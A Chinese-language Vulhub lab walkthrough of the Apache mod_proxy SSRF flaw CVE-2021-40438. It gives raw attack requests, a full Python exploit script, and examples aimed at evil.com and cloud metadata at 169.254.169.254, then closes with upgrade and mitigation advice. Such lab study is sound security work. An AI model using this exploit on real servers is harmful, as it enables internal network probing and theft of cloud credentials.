CVE-2021-40438 Apache HTTP Server mod_proxy SSRF 漏洞

漏洞信息

项目 内容
CVE 编号 CVE-2021-40438
漏洞类型 SSRF(服务器端请求伪造)
影响组件 Apache HTTP Server mod_proxy 模块
影响版本 Apache HTTP Server 2.4.48 及之前版本
靶场版本 Apache HTTP Server 2.4.43 (Unix) + Tomcat 8.5.19
靶机地址 http://192.168.229.60:8080/
Vulhub 路径 /vulhub/vulhub/httpd/CVE-2021-40438/

漏洞原理

背景

Apache 的 mod_proxy 模块提供了反向代理功能。在本靶场中,Apache 被配置为前端代理服务器,将接收到的请求通过 AJP 协议转发给后端的 Tomcat 服务器:

复制代码
┌──────────┐    HTTP    ┌────────────────┐    AJP:8009    ┌──────────┐
│  用户/   │ ─────────→ │  Apache:8080   │ ─────────────→ │  Tomcat  │
│  攻击者  │            │  mod_proxy_ajp  │               │  8.5.19  │
└──────────┘            └────────────────┘               └──────────┘

漏洞成因

Apache 的 mod_proxy 在处理 ProxyPassRewriteRule 中配置的代理逻辑时,会解析请求 URI 路径。如果在路径中构造一个特殊的 unix: 前缀(用于指定 Unix Domain Socket),并且通过超长填充字符串 触发内部路径处理逻辑的缺陷,可以导致 mod_proxy 将代理转发的目标地址替换为攻击者控制的地址。

复制代码
正常流程:
  请求 /  ─→ Apache 查 ProxyPass 配置 ─→ 转发到 ajp://tomcat:8009/
​
攻击流程:
  请求 /?unix:AAAA...|http://evil.com/  ─→ 路径解析被篡改
    ─→ 转发到 http://evil.com/  (SSRF)

核心问题在于 mod_proxy 在处理路径时,从填充后的 unix: 路径中错误地解析出了目标主机,从而使得 | 后面的 URL 被用作代理目标。

攻击步骤

Step 1:确认靶机正在反向代理 Tomcat

访问正常路径,验证反向代理正常工作:

复制代码
GET / HTTP/1.1
Host: 192.168.229.60:8080
复制代码
HTTP/1.1 200
Server: Apache/2.4.43 (Unix)
Content-Type: text/html;charset=UTF-8
​
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <title>Apache Tomcat/8.5.19</title>
    </head>

可见返回的是 Tomcat 默认页面,证实 Apache 成功代理请求到后端 Tomcat。

Step 2:构造 SSRF 攻击请求

核心 Payload 格式:

复制代码
GET /?unix:{填充字符重复N次}|{目标URL}/ HTTP/1.1
Host: 192.168.229.60:8080
  • unix: --- 触发 mod_proxy 的 Unix Domain Socket 路径解析

  • {填充字符} --- 填充数据(通常是 A),用于溢出路径缓冲区

  • | --- 分隔符,后面跟随目标 URL

  • {目标URL} --- 攻击者想要 SSRF 访问的地址

关键参数

  • 原 PoC 使用 24,576 个 A,但会触发 Apache 的 414 Request-URI Too Long(默认 LimitRequestLine=8190)

  • 实测 4,096 个 A 即可触发漏洞,构造总请求行约 4,181 字节,在限制之内

复制代码
GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (4096个A) ...AAAAA|http://example.com/ HTTP/1.1
Host: 192.168.229.60:8080
Connection: close

Step 3:验证命令执行

发送攻击请求后,Apache 将请求转发到 http://example.com/ 而非后端 Tomcat:

复制代码
HTTP/1.1 200 OK
Server: cloudflare
Content-Type: text/html
​
<!doctype html><html lang="en"><head><title>Example Domain</title>

响应来自 cloudflare,内容为 example.com 的页面,SSRF 成功!

攻击对比

请求 响应 Server 响应内容
GET / (正常) Apache/2.4.43 (Unix) Tomcat 默认页面
GET /?unix:AAAA...|http://example.com/ cloudflare example.com 页面

Python 版完整利用脚本

复制代码
#!/usr/bin/env python3
"""
CVE-2021-40438 - Apache mod_proxy SSRF Exploit
Target: Apache HTTP Server 2.4.48 and earlier with mod_proxy enabled
Author: Vulhub Lab
"""
​
import socket
import sys
import urllib.parse
​
def exploit(target_host, target_port, ssrf_url, padding_len=4096):
    """
    Exploit CVE-2021-40438 to perform SSRF via Apache mod_proxy.
    
    Args:
        target_host: Apache server host (e.g., "192.168.229.60")
        target_port: Apache server port (e.g., 8080)
        ssrf_url: URL to request via SSRF (e.g., "http://example.com/")
        padding_len: Length of 'A' padding (default 4096)
    
    Returns:
        Tuple of (response_headers, response_body)
    """
    # Sanitize the ssrf_url - ensure it ends with /
    if not ssrf_url.endswith('/'):
        ssrf_url += '/'
    
    # Build the malicious path
    pads = "A" * padding_len
    malicious_path = f"/?unix:{pads}|{ssrf_url}"
    
    # Build raw HTTP request
    request = (
        f"GET {malicious_path} HTTP/1.1\r\n"
        f"Host: {target_host}:{target_port}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    )
    
    print(f"[*] Target:     {target_host}:{target_port}")
    print(f"[*] SSRF URL:   {ssrf_url}")
    print(f"[*] Padding:    {padding_len} bytes")
    print(f"[*] Path len:   {len(malicious_path)} bytes")
    print(f"[*] Total req:  {len(request)} bytes")
    print()
    
    # Connect and send
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(15)
        s.connect((target_host, target_port))
        s.send(request.encode())
        
        # Receive response
        resp = b""
        while True:
            try:
                d = s.recv(4096)
                if not d:
                    break
                resp += d
            except socket.timeout:
                break
        s.close()
    except Exception as e:
        print(f"[-] Connection error: {e}")
        return None, None
    
    # Split headers and body
    header_end = resp.find(b"\r\n\r\n")
    if header_end == -1:
        headers = resp.decode(errors="replace")
        body = ""
    else:
        headers = resp[:header_end].decode(errors="replace")
        body = resp[header_end+4:].decode(errors="replace")
    
    return headers, body
​
​
def scan_padding_length(target_host, target_port, ssrf_url):
    """
    Find the minimum padding length that triggers SSRF.
    """
    print("[*] Scanning for minimum padding length...")
    for length in range(100, 5000, 100):
        req_len = len(f"GET /?unix:{'A'*length}|{ssrf_url} HTTP/1.1\r\n")
        if req_len > 8190:
            print(f"[-] Request too long ({req_len} bytes) at padding={length}")
            break
        
        headers, body = exploit(target_host, target_port, ssrf_url, length)
        if headers and "200" in headers.split('\r\n')[0]:
            print(f"[+] SSRF triggered at padding={length} (req_len={req_len})")
            return length
    
    print("[-] Could not find working padding length")
    return None
​
​
if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage:")
        print("  python3 cve-2021-40438.py <target> <port> <ssrf_url>")
        print("  python3 cve-2021-40438.py <target> <port> --scan")
        print()
        print("Examples:")
        print("  python3 cve-2021-40438.py 192.168.229.60 8080 http://example.com/")
        print("  python3 cve-2021-40438.py 192.168.229.60 8080 http://169.254.169.254/latest/meta-data/")
        print("  python3 cve-2021-40438.py 192.168.229.60 8080 --scan")
        sys.exit(1)
    
    target = sys.argv[1]
    port = int(sys.argv[2])
    
    if len(sys.argv) >= 4 and sys.argv[3] == "--scan":
        scan_padding_length(target, port, "http://example.com/")
    elif len(sys.argv) >= 4:
        ssrf_url = sys.argv[3]
        headers, body = exploit(target, port, ssrf_url)
        if headers:
            print("=== Response Headers ===")
            print(headers)
            print()
            print("=== Response Body (first 800 chars) ===")
            print(body[:800])
        else:
            print("[-] Exploit failed")
    else:
        print("[-] Please provide a SSRF URL")
        sys.exit(1)

使用示例

复制代码
# 基本 SSRF 测试
python3 cve-2021-40438.py 192.168.229.60 8080 http://example.com/

# 扫描最小填充长度
python3 cve-2021-40438.py 192.168.229.60 8080 --scan

# 内网探测(如果存在)
python3 cve-2021-40438.py 192.168.229.60 8080 http://internal-service.local/

关键要点总结

✅/⚠️ 要点
CVE-2021-40438 是 Apache mod_proxy 模块的 SSRF 漏洞,影响 ≤ 2.4.48 版本
通过构造 unix:填充|目标URL 格式的请求路径,可篡改代理转发目标
默认 LimitRequestLine=8190 限制了请求行长度,原 24,576 填充会触发 414 错误
实测 4,096 个 A 即可成功触发,无需使用更大的填充
SSRF 成功后响应直接透传返回,可获取目标 URL 的完整响应内容
⚠️ 此漏洞不直接导致 RCE,而是 SSRF,可用于内网探测、云元数据窃取等
⚠️ 修复方案:升级 Apache HTTP Server 到 2.4.49 或更高版本
⚠️ 临时缓解:禁用 mod_proxy,或限制 ProxyRequests 仅允许访问受信后端
⚠️ 云环境中的利用价值更高:可访问 169.254.169.254 获取实例元数据